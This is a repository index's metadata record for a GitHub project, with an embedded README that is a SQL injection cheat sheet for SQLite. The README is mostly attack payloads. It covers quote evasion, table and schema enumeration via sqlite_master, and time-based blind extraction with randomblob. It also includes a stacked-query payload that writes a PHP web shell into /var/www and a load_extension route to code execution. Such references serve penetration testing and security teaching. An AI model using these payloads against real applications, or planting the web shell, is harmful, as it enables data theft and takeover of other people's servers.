{"id":18005154,"url":"https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet","last_synced_at":"2026-02-08T12:03:14.592Z","repository":{"id":60042810,"uuid":"56550102","full_name":"unicornsasfuel/sqlite_sqli_cheat_sheet","owner":"unicornsasfuel","description":"A cheat sheet for attacking SQLite via SQLi","archived":false,"fork":false,"pushed_at":"2016-04-19T17:00:16.000Z","size":3,"stargazers_count":99,"open_issues_count":0,"forks_count":17,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-08-01T23:42:24.730Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/unicornsasfuel.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2016-04-18T23:48:50.000Z","updated_at":"2025-06-04T10:17:53.000Z","dependencies_parsed_at":"2022-09-25T18:13:03.513Z","dependency_job_id":null,"html_url":"https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/unicornsasfuel/sqlite_sqli_cheat_sheet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unicornsasfuel%2Fsqlite_sqli_cheat_sheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unicornsasfuel%2Fsqlite_sqli_cheat_sheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unicornsasfuel%2Fsqlite_sqli_cheat_sheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unicornsasfuel%2Fsqlite_sqli_cheat_sheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/unicornsasfuel","download_url":"https://codeload.github.com/unicornsasfuel/sqlite_sqli_cheat_sheet/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unicornsasfuel%2Fsqlite_sqli_cheat_sheet/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29229369,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-08T12:03:03.049Z","status":"ssl_error","status_checked_at":"2026-02-08T12:02:56.077Z","response_time":57,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-10-30T00:17:50.216Z","updated_at":"2026-02-08T12:03:14.557Z","avatar_url":"https://github.com/unicornsasfuel.png","language":null,"readme":"# SQLite SQL Injection Cheat Sheet\n\n|If you need                  |                                    You use                                      |\n|-----------------------------|:-------------------------------------------------------------------------------:|\n|Concatenation                |                                     \\|\\|                                        |\n|Comments                     |                                      --                                         |\n|Conditionals                 |  CASE WHEN key='value1' THEN 'something' WHEN key='value2' THEN 'somethingelse' |\n|Substring                    |                          substr(string,start,stop)                              |\n|Length                       |                              length(string)                                     |\n|Quotes without literal quotes|              cast(X'27' as text)  *--use X'22' for double quotes*               |\n|Table name enumeration       |               SELECT name FROM sqlite_master WHERE type='table'                 |\n|Table schema enumeration     |                SELECT sql FROM sqlite_master WHERE type='table'                 |\n|Time-based data extraction   |    cond='true' AND 1=randomblob(100000000) *--causes time delay if cond='true'* |\n|File writing                 |1';ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘\u003c? system($_GET[‘cmd’]); ?\u003e’;-- *--requires either direct database access or (non-default) stacked query option enabled*|\n|Arbitrary Code Execution     |load\\_extension(library\\_file,entry\\_point) *-- .dll for Windows, .so for 'nix. Requires non-default configuration*|\n\n\nThis work is based on http://atta.cked.me/home/sqlite3injectioncheatsheet\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Funicornsasfuel%2Fsqlite_sqli_cheat_sheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Funicornsasfuel%2Fsqlite_sqli_cheat_sheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Funicornsasfuel%2Fsqlite_sqli_cheat_sheet/lists"}